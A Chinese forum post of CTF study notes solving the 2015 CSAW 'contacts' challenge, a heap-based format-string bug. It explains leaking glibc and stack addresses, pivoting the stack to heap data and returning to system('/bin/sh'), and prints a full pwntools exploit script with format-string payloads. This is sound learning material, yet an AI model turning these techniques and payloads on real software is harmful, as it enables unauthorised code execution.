-
-
[原创]PWN学习笔记【格式化字符串漏洞练习】【堆上的格式化字符串漏洞】【2015-CSAW-contacts】
-
2022-6-14 10:30 10084
-
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#_22
程序是一个通讯录功能,提供了创建、修改、删除、打印联系人的选项
其中打印联系人有格式化字符串漏洞
解题思路:
无法控制栈?那就把栈转移到可控的内存上吧^ ^
当前函数的栈底指向的是上一个函数的栈底,所以这个应该是唯一可控的地方了
gdb调试,输入name=name,phone=phone,description=desc
在漏洞点printf上打断点
看到参数2存放的是‘puts+11’,可以用来泄露glibc
参数6存放的是栈底,可以修改上个函数的栈底
exp三步走:
泄露glibc,计算system和“/bin/sh”的地址
构造新栈,并且泄露新栈的地址
移动栈到新栈上,使函数返回,ret到system("/bin/sh")
from pwn import * from LibcSearcher import LibcSearcher # context.log_level = 'debug' sh = process("./contacts")#gdb.debug("./contacts", "b *0x080487C7\nc") def choiceMenu(id): sh.recvuntil(b">>>") sh.sendline(str(id).encode()) def CreateContact(name, phone, description): choiceMenu(1) sh.recvuntil(b"Name:") sh.sendline(name) sh.recvuntil(b"Phone No:") sh.sendline(phone) sh.recvuntil(b"Length of description:") sh.sendline(str(len(description) + 1).encode()) sh.recvuntil(b"Enter description:") sh.sendline(description) def EditContact_name(name, new_name): choiceMenu(3) sh.recvuntil(b"Name to change?") sh.sendline(name) sh.recvuntil(b">>>") sh.sendline(b"1") sh.recvuntil(b"New name: ") sh.send(new_name) def EditContact_description(name, new_description): choiceMenu(3) sh.recvuntil(b"Name to change?") sh.sendline(name) sh.recvuntil(b">>>") sh.sendline(b"2") sh.recvuntil(b"Length of description:") sh.sendline(str(len(new_description) + 1).encode()) sh.recvuntil(b"Description:") sh.sendline(new_description) def DisplayContacts(): choiceMenu(4) def ExitContacts(): choiceMenu(5) payload = flat([ b'%2$p----%6$p' ]) CreateContact(b"name111", b"Phone111", payload) DisplayContacts() sh.recvuntil(b" Description:") addrs = sh.recvline() addrs = addrs.split(b"----") puts_addr = int(addrs[0], 16) - 11 debug("puts_addr = 0x%x" %puts_addr) stack_addr = int(addrs[1], 16) debug("stack_addr = 0x%x" %stack_addr) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') payload = flat([ b'%11$p---', p32(libcbase + libc.dump('system')), p32(0xabcddcba), p32(libcbase + libc.dump('str_bin_sh')) ]) CreateContact(b"name222", b"Phone222", payload) DisplayContacts() sh.recvuntil(b" Description:") sh.recvuntil(b" Description:") addrs = sh.recvline() addrs = addrs.split(b"---") heap_stack_addr = int(addrs[0], 16) + 4 debug("heap_stack_addr = 0x%x" %heap_stack_addr) payload = flat([ b'%', str(heap_stack_addr).encode(), b"c%6$n1", ]) CreateContact(b"name333", b"Phone333", payload) DisplayContacts() ExitContacts() sh.interactive()
记录一下遇到的坑:
本来想用Contacts.name作为新栈,发现name紧挨着代码段,system函数抬一下栈就到代码段了,然后就崩溃了
通过edit Contacts来防止重复执行payload,但是读取name的长度是上一次description的长度,如下图,不知道是bug还是有意为之
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图